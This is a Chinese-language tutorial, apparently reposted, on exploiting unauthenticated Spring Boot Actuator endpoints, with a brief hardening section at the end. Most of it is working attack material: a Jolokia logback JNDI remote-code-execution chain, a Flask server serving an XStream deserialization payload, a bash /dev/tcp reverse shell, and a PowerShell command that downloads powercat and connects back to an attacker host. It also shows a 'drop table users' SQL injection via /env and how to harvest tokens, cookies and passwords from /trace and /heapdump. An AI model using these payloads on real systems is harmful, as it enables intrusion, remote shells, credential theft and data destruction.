copy 子傑的哈,懶的寫了
0x01
未授權訪問可以理解為需要授權才可以訪問的頁面由於錯誤的配置等其他原因,導致其他用戶可以直接訪問,從而引發各種敏感信息泄露。
0x02 Spring Boot Actuator未授權訪問
/dump - 顯示線程轉儲(包括堆棧跟蹤)
/autoconfig - 顯示自動配置報告 /configprops - 顯示配置屬性 /trace - 顯示最后幾條HTTP消息(可能包含會話標識符) /logfile - 輸出日志文件的內容 /shutdown - 關閉應用程序 /info - 顯示應用信息 /metrics - 顯示當前應用的’指標’信息 /health - 顯示應用程序的健康指標 /beans - 顯示Spring Beans的完整列表 /mappings - 顯示所有MVC控制器映射 /env - 提供對配置環境的訪問 /restart - 重新啟動應用程序
當 web 應用程序出現 4xx、5xx 錯誤時顯示類似以下頁面就能確定當前 web 應用是使用了 springboot 框架。
1)通過'/ jolokia'執行遠程代碼
前置條件:
在jolokia/list目錄檢索存在logback組件,則可以使用jolokia遠程包含logback.xml配置文件,直接執行遠程引用字節碼:
http://127.0.0.1:9090/jolokia/list
1.在VPS上創建logback.xml,logback中填寫jndi服務,當調用時直接觸發惡意class。
<configuration> <insertFromJNDI env-entry-name="ldap://vps_ip:1389/jndi" as="appName" /> </configuration>
2.創建反彈shell的惡意class,並監聽端口8081
javac Exploit.java -> Exploit.class
3.利用marshalsec創建jndi server地址指向惡意class監聽的端口8081:
4.監聽反彈shell端口:
5.訪問springboot以下鏈接觸發遠程訪問VPS地址logback.xml:
http://127.0.0.1:9090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/VPS地址:8080!/logback.xml
觸發回顯2333端口接收到主機whomai結果:
2 Config modification via '/env'
當第一種找不到logback配置可以嘗試修改env配置文件進行xstream反序列化
前置條件:Eureka-Client <1.8.7(多見於Spring Cloud Netflix)
比如測試前台json報錯泄露包名就是使用netflix:
需要以下2個包
spring-boot-starter-actuator(/refresh刷新配置需要)
spring-cloud-starter-netflix-eureka-client(功能依賴)
1.在VPS創建xstream文件,使用flask返回application/xml格式數據:
# linux反彈shell bash -i >& /dev/tcp/192.168.20.82/9999 0>&1 # windows反彈shell # <string>powershell</string> # <string>IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');</string> # <string>powercat -c 192.168.123.1 -p 2333 -e cmd</string> from flask import Flask, Response app = Flask(__name__) @app.route('/xstream', defaults={'path': ''}) @app.route('/xstream/<path:path>') def catch_all(path): xml = """<linked-hash-set> <jdk.nashorn.internal.objects.NativeString> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>powershell</string> <string>IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');</string> <string>powercat -c [vps地址] -p 2333 -e cmd</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> </is> </dataSource> </dataHandler> </value> </jdk.nashorn.internal.objects.NativeString> </linked-hash-set>""" return Response(xml, mimetype='application/xml') if __name__ == "__main__": app.run(host='172.31.245.127', port=2333)
2.啟動服務:
python3 flask_xstream.py
3.寫入配置:
POST /env HTTP/1.1 Host: 127.0.0.1:9090 Content-Type: application/x-www-form-urlencoded Content-Length: 68 eureka.client.serviceUrl.defaultZone=http://vps:2333/xstream
刷新觸發[POST]:
一般情況需要等待3秒會有響應包,如果立即返回可能是服務缺少spring-boot-starter-actuator擴展包無法刷新漏洞則無法利用
獲取反彈shell:
2) 這個主要通過訪問/trace 路徑獲取用戶認證字段信息
可能會在其 trace 路徑下,除了記錄有基本的 HTTP 請求信息可能有包括用戶 token、cookie 等字段:
3) 這個主要通過/env 路徑獲取這些服務的配置信息修改配置信息
運氣好會有mysql、mangodb 的用戶名及密碼
如果Spring Cloud Libraries在類路徑中,則'/ env'端點允許修改Spring環境屬性。注釋為“ @ConfigurationProperties”的所有bean 都可以修改和重新綁定。我們可以控制的許多(但不是全部)屬性列在'/ configprops'執行器端點上。
spring.datasource.tomcat.validationQuery = drop + table + users - 允許任何SQL查詢,它將自動對當前數據庫執行。它可以是任何語句,包括插入,更新或刪除。
4) git 項目地址泄露
這個一般是在/health 路徑,比如如下站點,訪問其 health 路徑可探測到站點 git 項目地址:
5) 這個一般是在/heapdump 路徑獲取后台用戶賬號密碼泄露
訪問/heapdump 路徑,返回 GZip 壓縮 hprof 堆轉儲文件。在 Android studio 打開,會泄露站點內存信息,很多時候會包含后台用戶的賬號密碼。
防范措施
如果上述請求接口不做任何安全限制,安全隱患顯而易見。實際上Spring Boot也提供了安全限制功能。比如要禁用/env接口,則可設置如下:
endpoints.env.enabled= false
如果只想打開一兩個接口,那就先禁用全部接口,然后啟用需要的接口:
endpoints.enabled = false
endpoints.metrics.enabled = true
另外也可以引入spring-boot-starter-security依賴
<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-security</artifactId> </dependency>
在application.properties中指定actuator的端口以及開啟security功能,配置訪問權限驗證,這時再訪問actuator功能時就會彈出登錄窗口,需要輸入賬號密碼驗證后才允許訪問。
management.port=8099
management.security.enabled=true
security.user.name=admin
security.user.password=admin